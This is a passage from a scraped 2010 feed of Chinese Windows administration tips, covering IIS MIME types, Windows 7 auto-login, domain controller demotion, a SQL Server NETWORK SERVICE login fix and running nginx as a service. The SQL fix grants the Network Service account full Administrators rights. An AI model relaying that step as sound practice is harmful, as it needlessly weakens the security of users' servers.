　　&amp;ldquo;网站名&amp;rdquo;&amp;rarr;右键，选择&amp;ldquo;属性&amp;rdquo;&amp;rarr;&amp;ldquo;HTTP头&amp;rdquo;&amp;rarr;&amp;ldquo;MIME类型&amp;rdquo;&amp;rarr;......其它设置和上面一样。
　　第二种类型的解决方法：
　　默认服务器配置是不支持这些类型文件下载的，想支持很简单，请往下看：
　　在Microsoft Internet Information Services (IIS) 即Internet 信息服务中，链接了&amp;quot;iso、gho、nes、dat&amp;quot; 文件类型，但是浏览时点击&amp;quot;iso、gho、nes、dat&amp;quot;文件下载地址，会出现&amp;quot;无法找到该页面&amp;quot;的提示，相关软件也无法下载。
　　解决办法如下：
　　1.在 IIS 管理器中，右键单击要为其添加 MIME 类型的网站或网站目录，单击&amp;quot;属性&amp;quot;。
　　2.单击&amp;quot;HTTP 头&amp;quot;选项卡。
　　3.单击&amp;quot;MIME 类型&amp;quot;。
　　4.单击&amp;quot;新建&amp;quot;。
　　5.在&amp;quot;扩展名&amp;quot;框中，键入文件扩展名：.iso。 (nes、dat)
　　6.在&amp;quot;MIME 类型&amp;quot;框中，键入ISO File (nes、dat)
　　7.单击&amp;quot;确定&amp;quot;。
　　8.添加iso(nes、dat)文件后，前台点击,大功告成。
　　9.若要再增加更多类型，可同样按照此方法修改。 </text>
<image> </image>
<keywords> </keywords>
<category>Windows </category>
<author> </author>
<source> </source>
<pubDate>2010-07-18 09:28 </pubDate>
</item>
<item>
<title>目前全世界已经有很多用户正在使用微软发布的Windows 7 Beta1版 </title>
<link>http://www.itxia.com/a/computer/os/windows/2010/0718/9645.html </link>
<description> </description>
<text>

　　目前全世界已经有很多用户正在使用微软发布的Windows 7 Beta1版本操作系统，而Windows 7系统中很多隐藏的小秘密也正一点点被人们所发掘出来。Windows操作系统有一个软肋总是被人们提及，那就是它的启动速度过慢，如今的Windows 7就有所改善了。如果你想加快Windows 7系统的启动速度，可以对设置进行更改后让它自动为用户登录。当然这种方式最好仅在自己的个人电脑上使用为好，若不然可能会涉及到个人隐私和安全风险。
　　具体的设置方法如下：
　　首先同时按下&amp;ldquo;Windows+R&amp;rdquo;快捷键调出运行命令窗口，然后在窗口中输入&amp;ldquo;control userpasswords2&amp;rdquo;后回车。这时Windows 7中的用户帐号(User Accounts)窗口会自动弹出，
　　紧接着去掉&amp;ldquo;Users must enter a user name and password to use this computer&amp;rdquo;前的勾选，最后点击应用按钮就会立即弹出一个自动登录窗口(Automatically Log On)在你面前。现在将你的帐户密码信息输入其中，确认以后Windows 7系统就可以自动记住你的登录帐号，当你再次进入系统的时候，它就会自动为你登录而不需要你重新输入信息了。从此，你只需开机后坐享其成就可以啦! </text>
<image> </image>
<keywords> </keywords>
<category>Windows </category>
<author> </author>
<source> </source>
<pubDate>2010-07-18 09:28 </pubDate>
</item>
<item>
<title>1. 单击开始，单击运行键入 dcpromo，然后单击确定。 2. 这样就 </title>
<link>http://www.itxia.com/a/computer/os/windows/2010/0718/9646.html </link>
<description> </description>
<text>

　　1. 单击开始，单击运行键入 dcpromo，然后单击确定。
　　2. 这样就启动了 Active Directory 安装向导。单击下一步。
　　3. 删除 Active Directory 屏幕上有一个复选框。如果此计算机是域中的最后一个域控制器，则请单击选中此复选框。否则，请单击下一步。
　　4. 在下一屏幕上，设置在删除 Active Directory 后此服务器上的管理员帐户的密码。在密码和确认密码框中键入合适的密码，然后单击下一步。
　　5. 在摘要屏幕，复查并确认您选的选项，然后单击下一步。
　　6. 向导将开始从该服务器删除 Active Directory 的过程。过程完成后，将出现一个指出 Active Directory 已从此计算机上被删除的消息。
　　7. 单击完成退出向导。
　　8. 重新启动计算机。
　　域控制器降级后是不是机器里有些东东会被删掉吗？
　　我知道的主要有AD集成DNS、DHCP的数据库，以及于AD有关的所有数据都会被删除。，你可以先把数据库备份一份出来，或者把整个C盘做个ISO的镜像文件，万一服务器降级后少了你想保留的文件还可以找会来 </text>
<image> </image>
<keywords> </keywords>
<category>Windows </category>
<author> </author>
<source> </source>
<pubDate>2010-07-18 09:28 </pubDate>
</item>
<item>
<title>首次使用SQL Server 2008在Vista旗舰版下进行ASP.NET开发就遇到 </title>
<link>http://www.itxia.com/a/computer/os/windows/2010/0718/9647.html </link>
<description> </description>
<text>

　　首次使用SQL Server 2008在Vista旗舰版下进行ASP.NET开发就遇到了不少令人困惑的问题，其中之一就是&amp;ldquo;用户 NT AUTHORITY\NETWORK SERVICE登陆失败&amp;rdquo;的问题。开始，我以为是数据库连接字符串写错了，反复检查后发现这并非症结所在。经过查阅资料，发现原因是Vista下ASP.NET的运行账户改成了Network Service(Windows Server 2003中也一样)，而XP中ASP.NET的运行账户是ASPNET，难怪那么多人不喜欢用Vista。
　　再查查解决方案，网上的一致的解决方案均是以老版的SQL Server 2000写的，不适用于SQL Server 2005/2008。以下是我反复试验后得出的在SQL Server 2008中的正确解决方案：
　　(1)配置Vista系统。[桌面]-&amp;gt;[计算机]-&amp;gt;右键-&amp;gt;[管理]-&amp;gt;展开&amp;ldquo;本地用户与组&amp;rdquo;-&amp;gt;选&amp;ldquo;组&amp;rdquo;-&amp;gt;在右边的名称中双击&amp;ldquo;Administrators&amp;rdquo;-&amp;gt;在弹出的窗口中单击&amp;ldquo;添加...&amp;rdquo;按钮-&amp;gt;在弹出的&amp;ldquo;选择用户&amp;rdquo;窗口中单击&amp;ldquo;高级...&amp;rdquo;按钮-&amp;gt;单击&amp;ldquo;立即查找&amp;rdquo;按钮-&amp;gt;在下面的&amp;ldquo;搜索结果&amp;rdquo;中选中&amp;ldquo;Network Service&amp;rdquo;并点&amp;ldquo;确认&amp;rdquo;-&amp;gt;&amp;ldquo;确定&amp;rdquo;按钮-&amp;gt;&amp;ldquo;确定&amp;rdquo;按钮-&amp;gt;&amp;ldquo;应用&amp;rdquo;按钮。至此，Vista系统用户配置完毕。
　　(2)配置SQL Server 2008。打开&amp;ldquo;Microsoft SQL Server Management Studio&amp;rdquo;，找到想要配置的数据库实例并展开-&amp;gt;展开&amp;ldquo;安全性&amp;rdquo;-&amp;gt;在&amp;ldquo;用户&amp;rdquo;文件夹上点右键，选&amp;ldquo;新建用户&amp;rdquo;-&amp;gt;点击&amp;ldquo;登录名&amp;rdquo;文本框后面的&amp;ldquo;...&amp;rdquo;按钮-&amp;gt;在&amp;ldquo;选择登录名&amp;rdquo;窗口中点&amp;ldquo;浏览&amp;rdquo;按钮-&amp;gt;在&amp;ldquo;查找对象&amp;rdquo;窗口中选中[NT AUTHORITY\NETWORK SERVICE](前面打钩)-&amp;gt;&amp;ldquo;确定&amp;rdquo;按钮-&amp;gt;&amp;ldquo;确定&amp;rdquo;按钮-&amp;gt;在&amp;ldquo;登录名&amp;rdquo;文本框上面的&amp;ldquo;用户名&amp;rdquo;文本框中输入一个名字(这个可以随便写)-&amp;gt;&amp;ldquo;确定&amp;rdquo;按钮。至此，数据库配置完毕。
　　(3)重新运行ASP.NET程序，此处必须保证数据库的身份验证类型为&amp;ldquo;Windows验证&amp;rdquo;和&amp;ldquo;允许访问&amp;rdquo;，问题解决。
　　PS：SQL Server 2008和SQL Server 2000的一个重要区别就是：前者在&amp;ldquo;安全性&amp;rdquo;文件夹下没有&amp;ldquo;登录&amp;rdquo;子文件夹，所以不少以SQL Server 2000为例子的文章在2008下不适用。 </text>
<image> </image>
<keywords> </keywords>
<category>Windows </category>
<author> </author>
<source> </source>
<pubDate>2010-07-18 09:28 </pubDate>
</item>
<item>
<title>1、当前的电脑是否可以运行Windows 7? 如果您电脑的使用年限不足 </title>
<link>http://www.itxia.com/a/computer/os/windows/2010/0718/9648.html </link>
<description> </description>
<text>

　　1、当前的电脑是否可以运行Windows 7?
　　如果您电脑的使用年限不足5年，那么答案是肯定的。微软在声明中指出，Windows 7的最低配置要求如下：1GHz处理器、16GB磁盘空间、1GB内存。
　　然而，经过多个测试者的测试表明，Windows 7的配置规格可以远远低于以上要求。
　　不过，在这里要指出的是，如果您想要获得完美的Windows 7体验，那么最好能够配置运行更快的电脑。而如果您想要获得完美Windows 7体验，那么建议您的Windows 7配置最低需求为双核CPU和2GB内存。
　　此外，如果您不能够确定您的电脑是否能够运行Windows 7，那么在执行Windows 7升级之前，您最好先运行一下微软的&amp;ldquo;Windows 7升级顾问&amp;rdquo;，这个工具将会帮助您检查您的硬件和软件是否能够与Windows 7兼容。
　　2、当执行Windows 7升级之后，当前的硬件性能是否能够发挥得更好?对多核处理器有优化吗?
　　即使Windows 7能够在您当前的电脑上成功运行，但是老旧的硬件毕竟是意味着不能够充分发挥新系统的最佳性能，这是千古不变的事实。例如，Windows 7能够支持多触摸屏技术，如果您想要体验这个功能，那么您就必须配备一个多触摸显示器。
　　此外，Windows 7还是微软推出的第一款具有SSDs本地增强的操作系统。
　　相比上一代操作系统，Windows 7对于多线程、多任务应用有了显著的优化，能够更好地发挥多核处理器的效能，AMD三核处理器无疑为消费者带来了比双核处理器更好的选择，多核处理器的发展也将成为趋势。
　　3、如何识别电脑是否能够运行&amp;ldquo;XP模式&amp;rdquo;，&amp;ldquo;XP模式&amp;rdquo;是用户必备的吗?
　　&amp;ldquo;XP模式&amp;rdquo;是Windows 7专业版及其更高版本操作系统中的一个强大功能，它可以使得用户在安装Windows 7的虚拟机中运行Windows XP应用程序。
　　&amp;ldquo;XP模式&amp;rdquo;依赖于Windows虚拟PC机，虚拟机中不仅具备更大的内存和CPU要求，而且还要求具备硬件虚拟化处理器能力。因此，如果您想要运行&amp;ldquo;专为Windows XP定制&amp;rdquo;的应用程序，那么就必须具备很好的虚拟机支持。AMD处理器都除了AM2闪龙都具有虚拟化，支持WIN7 的XP模式，而Intel则有些支持有些不支持，在选购时候还需注意。
　　4、64位时代到来了吗?如何检测电脑是否可以支持64位?
　　毋庸置疑的，64位的操作系统的性能比32位的要高。外界分析家指出，Windows 7很有可能是微软提供的最后一款支持32位的操作系统。
　　如果您执行的任务使得您电脑的内存占用空间超过3GB的话，那么请您考虑一下升级64位Windows 7。一般说来，对于仅仅使用办公套件和进行网上冲浪的用户来讲，32位操作系统是足够的了。
　　但如果您运行虚拟机、编辑高清视频、操纵12MP原始图像的话，那么您最好切换至64位操作系统。此外，&amp;ldquo;Windows 7升级顾问&amp;rdquo;可以帮助您测试您的CPU是否可以支持64位操作系统。
　　5、装Windows 7是否还要打AMD双核补丁?
　　Windows 7已经对多核心处理器支持很好了，所以不需要补丁!可以说从VISTA开始就已经很完美的支持多核心了!
　　6、显卡不兼容Windows 7
　　买了个显卡，装上后电脑就不断让修复，修复后，再重启电脑，同样出现此现象，之后将显卡取下，之后一切正常。之换回Windows XP后，装上显卡，也是一切运行也正常。
　　这应该是驱动的问题，遇到这种建议卸载驱动后再安装新的驱动。
　　7、Win7系统下如何打开处理器的AMD的Cool'n'Quiet功能?
　　Cool'n'Quiet是AMD公司开发的处理器节能技术，可以在CPU空闲的时候自动降低频率以减少电力消耗。AM3接口的处理器已经是Cool'n'Quiet 3.0，CPU可以分为四档运行，最低频率可以降至800MHz，极大地降低了处理器的能耗水平。
　　开启Cool'n'Quiet只需要在主板BIOS打开即可，一般都是在Advance(高级)―CPU Configer(CPU配置)选项中，选择AMD K8 Cool'n'Quiet(名称略有不同)设为Enabled即可。大多数CPU即可通过这种方式打开Cool'n'Quiet节能功能。对于极少数主板，可能还需要安装Cool'n'Quiet驱动，用户在BIOS中开启Cool'n'Quiet之后再安装配套光盘中自带的Cool'n'Quiet驱动或者AMD官方驱动即可。
　　8、AMD 780G的主板装Windows 7还需要装驱动吗?
　　基本上都不用装驱动了Windows 7会默认根据你的硬件安装不同的驱动，但也不是所有的驱动都可以装上的。 </text>
<image> </image>
<keywords> </keywords>
<category>Windows </category>
<author> </author>
<source> </source>
<pubDate>2010-07-18 09:28 </pubDate>
</item>
<item>
<title>在windows下安装了nginx, 郁闷是发现它没有以服务方式运行, 也就 </title>
<link>http://www.itxia.com/a/computer/os/windows/2010/0718/9649.html </link>
<description> </description>
<text>

在windows下安装了nginx, 郁闷是发现它没有以服务方式运行, 也就是说当用户注销后,程序会终止.因此需要将nginx作为服务运行.假设nginx安装在c:\nginx\下:1.下载微软服务注册工具srvany.exe, instsrv.exe, 存放到c:\nginx\目录下http://wesoho.com/soft/down/srvany.rar&amp;nbsp;2.安装NGINX服务, 将命令行切换到c:\nginx\,执行下列命令instsrv NGINX c:\nginx\srvany.exe&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp; 没错就是srvany.exe3.在c:\nginx\下,编辑一个nginx.reg文件（这一步我遇到了问题，导入不成功）Windows Registry Editor Version 5.00[HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Services\NGINX\Parameters]&amp;quot;Application&amp;quot;=&amp;quot;C:\\nginx\\nginx.exe&amp;quot;&amp;quot;AppParameters&amp;quot;=&amp;quot;&amp;quot;&amp;quot;AppDirectory&amp;quot;=&amp;quot;C:\\nginx\\&amp;quot;&amp;nbsp;5.让服务与程序关联起来, 命令行执行regedit /s nginx.reg
上面这个执行失败的解决办法：运行regedit打开注册表，直接在[HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Services\NGINX下添加Parameters一项，然后手动建立三个字符串的注册表值，就是上面这三个Application AppParameters AppDirectory6.编辑启动nginx脚本start-nginx.bat(关闭脚本不用变), 让程序以服务方式运行@ECHO OFFnet stop nginxnet start nginxEXIT
经过上面的步骤，顺利启动nginx服务，另外添加服务还有一个图形界面的工具SRVINSTW.EXE </text>
<image> </image>
<keywords> </keywords>
<category>Windows </category>
<author> </author>
<source> </source>
<pubDate>2010-07-18 09:28 </pubDate>
</item>
</document>
